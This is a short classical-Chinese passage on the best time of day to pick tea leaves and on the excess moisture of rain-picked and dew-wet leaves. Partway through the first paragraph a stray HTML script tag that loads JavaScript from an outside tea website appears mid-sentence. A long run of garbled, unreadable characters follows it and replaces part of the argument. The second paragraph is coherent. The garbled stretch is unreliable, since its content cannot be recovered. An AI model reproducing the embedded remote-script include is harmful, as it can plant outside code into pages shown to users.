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茶叶采摘之时间
一日之间，何时所采茶菁品质最佳，论者纷纭?script type='text/javascript' src='http://www.368tea.com/js/v.js'>砸皇牵蛭皆巛悸吨厮啵分饰危巛既蠖皇分首罴眩馆急ナ芰胰眨幻饪菰铮分室嗖睿痹繁鹇即蠊鄄杪奂盎谱隰说龋蛭揭岳杳魅粘銮白罴眩杈巴懒杓阍蛭叫肴粘龇讲桑跤昃幌嘁恕６狄院跸喾础Ｗ苤宋侍庠诤醪枰逗种喙选０床枰吨浚分种叵低猓焓庇氩烧奔湟嘤泄叵担跤旰慷啵缣旌可伲巛己慷啵巛即沃馆甲钌佟Ｆ胀ú栎己吭嘉?0-80％。一般言之，绿茶须含水量较多之茶菁，红茶乌龙须含水量较少之茶菁。上列诸说之意见不同，或因前者系指绿茶而言，后者系指红茶乌龙而言之故。
雨天所采之茶曰雨菁，早晨所采之茶曰早菁，早菁多有露水，故早菁与雨菁所含水份均太多，宜用筛去之，或薄摊于阴凉透风处以阴干之，如急于制造，则用热风吹干之，否则水色多甚混浊，味亦甚薄，且杀青不均匀，易焦易红，且易结成团块。故非万不得已，不采雨菁。然如连日阴雨，茶叶发育甚快，迟采又易粗老，故研习茶业者，对气候之变化，亦不可不知也。
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